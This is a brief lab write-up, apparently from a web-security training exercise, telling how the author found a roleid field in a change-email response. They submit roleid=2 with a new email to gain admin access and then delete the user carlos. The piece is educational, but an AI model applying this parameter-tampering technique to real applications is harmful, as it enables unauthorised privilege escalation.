
User role can be modified in user profile

1. This lab has an admin panel at /admin. It's only accessible to logged-in users with a roleid of 2.
2. I did same steps, but I didn't find any admin cookie or robots.txt or anything useful. But I found change email function. I tried to change my email, and I found something strange in the response. I found some data displayed in response containing roleid. So, I tried to send the roleid with my new email in change email function, and the roleid already changed.

3. When I go back to the application, I found the admin panel button appeared.
4. I go to admin panel and delete carlos and finally the lab solved.

**Congratulations, you solved the lab!**[Share your skills!](#) [Continue learning >>](#)[Home](#) | [Admin panel](#) | [My account](#)
